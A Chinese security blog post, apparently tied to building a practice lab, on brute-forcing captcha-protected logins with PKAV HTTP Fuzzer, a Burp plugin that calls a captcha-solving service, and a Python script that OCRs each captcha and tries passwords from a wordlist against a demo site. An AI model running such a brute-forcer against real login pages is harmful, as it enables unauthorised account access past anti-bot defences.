写爆破靶场的时候发现对于爆破有验证码的有点意思~这里简单总结下我们爆破有验证码的场景中几种有效的方法~~~

0x01 使用现成工具

这里有pkav团队的神器PKAV HTTP Fuzzer 1.5.6可以实现这个功能~

我们可以用pkav的国产神器,抓取请求包后,分别标记需要爆破的密码和识别的验证码,然后右侧定义加载的字典

配置验证码识别

ok~爆破出来了~


0x02 使用爬虫requests库+pytesseract库

当然神器也不是每次都能识别出来,我们也可以使用强大py第三方库来识别爆破

可以使用requests库来发包(这个比selenium简单~~不过也就使用这种简单场景) pytesseract来识别验证码~~~具体安装使用可以看我另一篇博客~https://www.cnblogs.com/-qing-/p/11027821.html

附上自己写的小脚本

# -*- coding: utf-8 -*-
#后台带验证码爆破 By 卿
import requests
import pytesseract
import re

code_url='http://www.brute_demo.com/vaildcode.php' #验证码地址
brute_url='http://www.brute_demo.com/brute_4.php' #表单提交地址

#识别验证码的函数
def  user_code():
#获取图片验证码
    r = s.get(code_url)
    with open('1.png', 'wb') as f:
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:
                f.write(chunk)
                f.flush()
        f.close()
    #识别图片验证码
    im = pytesseract.image_to_string('1.png')
    im = im.replace(' ', '')
    return im
    #有时候识别失败可以加载正则再次识别
    if re.match('[0-9]{4}',im):#4位数字的验证码
        return im
    else:
        return user_code()#再次识别

s=requests.session()
headers = {"Content-Type":"application/x-www-form-urlencoded","Connection":"Keep-Alive"}
with open(r'pass.dic', 'r') as Pass:#加载密码字典
    for password in Pass.readlines():
        code = user_code()
        print("验证码"+code)
        data = {'username':'qing','password':password,'submit':'submit','checkNum':code}
        r=s.post(brute_url,data=data,headers=headers)
        #密码正确
        if 'Password mistake' not in r.text:
            print("正确的密码为:"+password)
            break

0x03 使用Burp插件reCAPTCHA

reCAPTCHA

一个burp插件,自动识别图形验证码,并用于Intruder中的Payload。最新版支持 GSA Captcha Breaker, 这个软件可以本地运行,速度杠杠的!

项目主页:https://github.com/bit4woo/reCAPTCHA

使用:

选中需要识别验证码的包并点击右键选择“Send to reCAPTCHA”,这个请求的信息将被发送到reCAPTCHA。

  1. 切换到reCAPTCHA标签,并配置所需的参数。当参数配置好后,你可以点击“请求”按钮来测试配置。
  2. http://www.ysdm.net 的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写,才能成功调用接口完成图片的识别。该API需要的参数如下,请用正确的值替换%s ,特别注意typeid值的设定(http://www.ysdm.net/home/PriceType)。

    username=%s&password=%s&typeid=%s

在Intruder中使用:

完成了配置并测试成功后,现在可以在Intruder中使用该插件生成的payload了

Web安全之爆破中的验证码识别~的更多相关文章

  1. Python中机器学习-验证码识别-粗略总结

    #验证码识别# 解决办法:将验证码切割成单个字符训练 遇到问题:验证码字符大小不一或重叠 对上述问题的解决:通过CNN(卷积神经网络)直接就是端到端不分割的识别方式 处理验证码:将图片二值化 输入验证 ...

  2. python中的验证码识别库PyTesser

    PyTesser PyTesser is an Optical Character Recognition module for Python. It takes as input an image ...

  3. python之web自动化验证码识别解决方案

    验证码识别解决方案 对于web应用程序来讲,处于安全性考虑,在登录的时候,都会设置验证码,验证码的类型种类繁多,有图片中辨别数字字母的,有点击图片中指定的文字的,也有算术计算结果的,再复杂一点就是滑动 ...

  4. python验证码识别

    关于利用python进行验证码识别的一些想法 用python加“验证码”为关键词在baidu里搜一下,可以找到很多关于验证码识别的文章.我大体看了一下,主要方法有几类:一类是通过对图片进行处 理,然后 ...

  5. JAVA WEB项目中生成验证码及验证实例(附源码及目录结构)

    [我是一个初学者,自己总结和网上搜索资料,代码是自己敲了一遍,亲测有效,现将所有的目录结构和代码贴出来分享给像我一样的初学者] 作用 验证码为全自动区分计算机和人类的图灵测试的缩写,是一种区分用户是计 ...

  6. 字符型图片验证码识别完整过程及Python实现

    字符型图片验证码识别完整过程及Python实现 1   摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...

  7. ocr智能图文识别 tess4j 图文,验证码识别 分享及所遇到的问题

    自己对tess4j的使用总结 1,tess4j 封装了 tesseract-ocr 的操作 可以用很简洁的几行代码就实现原本tesseract-ocr 复杂的实现逻辑 如果你也想了解tesseract ...

  8. 基于tensorflow的‘端到端’的字符型验证码识别源码整理(github源码分享)

    基于tensorflow的‘端到端’的字符型验证码识别 1   Abstract 验证码(CAPTCHA)的诞生本身是为了自动区分 自然人 和 机器人 的一套公开方法, 但是近几年的人工智能技术的发展 ...

  9. WebDriver中自动识别验证码--Python实现

    一.在自动化测试中,遇到验证码的处理方法有以下两种: 1.找开发去掉验证码或者使用万能验证码 2.使用OCR自动识别 这里,方法一只要和研发沟通就行. 使用pytesseract自动化识别,一般识别率 ...

随机推荐

  1. Android入门学习教程PDF免费下载

    场景 CSDN: https://blog.csdn.net/badao_liumang_qizhi 博客园: https://www.cnblogs.com/badaoliumangqizhi/ 哔 ...

  2. Vscode for python ide配置

    1.文件头添加 自定义代码片段 文件>首选项>用户代码片段 搜索python 添加代码 "HEADER":{ "prefix": "hea ...

  3. Linux之正则表达式grep

    真好!

  4. 54 (OC)* 网络七层架构

    一:TCP/IP协议 二:七层协议 1:物理层 物理层为设备之间的数据通信提供传输媒体及互连设备,为数据传输提供可靠的环境.  1.1:传输媒体和互连设备        物理层的媒体包括架空明线.平衡 ...

  5. 04 (OC)* weak的实现原理

    一:Weak 表 1: Runtime 维护了一个 Weak 表,用于存储所有 Weak 指针.Weak 表是一个哈希表,Key 是对象的地址,Value 是一个数组,数组里面放的是 Weak 指针的 ...

  6. 11 (OC)* CoreImage

    coreimage framework 组成 apple 已经帮我们把image的处理分类好,来看看它的结构: 主要分为三部分: 1)定义部分:CoreImage 何CoreImageDefines. ...

  7. 30 道 Vue 面试题

    前言 本文以前端面试官的角度出发,对 Vue 框架中一些重要的特性.框架的原理以问题的形式进行整理汇总,意在帮助作者及读者自测下 Vue 掌握的程度. 本文章节结构以从易到难进行组织,建议读者按章节顺 ...

  8. HTML5实现首页动态视频背景

    话不多说,先看效果图: ​​​ 炫酷吗?你想实现这种动态视频作为背景的首页吗?来,一起来学习,本文将带你一起实现H5动态视频背景: 首先网上找一段清晰的视频下载下来,最好是MP4格式的: 下载好了之后 ...

  9. windows下使用zkui

    一,前言 使用zkui可以很方便的查看操作zookeeper 二,从源代码生成可执行jar zkui在github上的地址:https://github.com/DeemOpen/zkui 使用ide ...

  10. Java String 类解析

    I.构造函数: public String() {} 默认构造函数 public String(String original) {} 使用原有字符串构造  public String(char va ...